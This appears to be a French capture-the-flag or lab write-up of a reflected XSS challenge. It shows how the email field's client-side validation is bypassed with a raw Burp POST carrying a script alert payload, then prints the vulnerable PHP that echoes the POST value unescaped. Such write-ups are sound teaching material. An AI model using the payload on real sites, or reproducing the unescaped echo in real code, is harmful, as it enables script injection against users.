# xss1

## Exploitation

Le premier challenge propose de renseigner son adresse email grâce à formulaire HTML :&#x20;

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LXA-aPG-dBFXBTzP1DC%2Fuploads%2FS8u9ZQ6CTciRRuCujxmE%2Fimage.png?alt=media\&token=80660e2c-d17a-44d5-b173-f2b43e7279bb)

Le champ est de type `email` et possède donc une validation front :

```html
<input type="email" class="form-control" id="user_email" name="user_email" placeholder="email@site.com" required>
```

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LXA-aPG-dBFXBTzP1DC%2Fuploads%2FI3D4XN3FmbCPQycFlCIG%2Fimage.png?alt=media\&token=e4748613-d635-47c3-b827-29c65fdf037b)

Pour injecter ma payload il me faudra contourner cette protection, ici en passant par Burp :&#x20;

```http
POST /xss1/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss1/

user_email=<script>alert(1)</script>&submit=Envoyer
```

L'injection fonctionne et la boite de dialogue s'affiche :&#x20;

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LXA-aPG-dBFXBTzP1DC%2Fuploads%2F0zii7RENfd4GvJHo1P46%2Fimage.png?alt=media\&token=3a204a66-b70c-4d2b-9146-11b88ec847d4)

## Analyse du code source

L'analyse est ici plutôt simple, car le code PHP ne possède aucune protection et ne fait qu'afficher le contenu de la variable `$_POST['user_email']` via la directive `echo` :&#x20;

```php
<?php
  if (isset ($_POST['submit']) && isset ($_POST['user_email'])) {
    $email = $_POST['user_email'];
  }
?>

<?php if (isset ($email) && !empty ($email)): ?>
  <div class="row">
    <p style="color:red;" class="well"><strong></strong><?php echo $email; ?> is not registered.</p>
  </div>
<?php endif; ?>
```
